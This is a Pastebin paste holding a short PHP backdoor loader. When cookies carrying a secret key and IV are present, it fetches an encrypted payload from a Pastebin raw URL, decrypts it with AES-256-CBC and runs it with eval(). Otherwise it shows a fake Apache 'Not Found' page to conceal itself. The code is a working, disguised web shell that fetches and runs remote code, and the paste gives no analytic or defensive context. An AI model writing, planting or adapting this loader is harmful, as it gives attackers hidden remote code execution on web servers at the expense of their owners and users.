Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function encrypt_decrypt($action, $string, $secret_key, $secret_iv) {
- $output = false;
- $encrypt_method = "AES-256-CBC";
- $key = hash('sha256', $secret_key);
- $iv = substr(hash('sha256', $secret_iv), 0, 16);
- if( $action == 'encrypt' ) {
- $output = openssl_encrypt($string, $encrypt_method, $key, 0, $iv);
- $output = base64_encode($output);
- }
- else if( $action == 'decrypt' ){
- $output = openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv);
- }
- return $output;
- }
- $key = $_POST["key"];
- $iv = $_POST["iv"];
- if ( isset( $_POST[ 'key' ] ) && isset( $_POST[ 'iv' ] ) ) {
- setcookie('iv', $iv, time() + (600), "/");
- setcookie('key', $key, time() + (600), "/");
- }
- if( isset( $_COOKIE['iv']) && isset( $_COOKIE['key'])) {
- $encrypt_txt = file_get_contents("https://pastebin.com/raw/N2g82X5K");
- $decrypted_txt = encrypt_decrypt('decrypt', $encrypt_txt, $_COOKIE['key'], $_COOKIE['iv']);
- eval("?>".($decrypted_txt));
- } else
- printf(
- "<h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr /><p>".
- "Apache Server at %s Port %s</p>", $_SERVER['SERVER_NAME'], $_SERVER['SERVER_PORT'] );
- ?>
Add Comment
Please, Sign In to add comment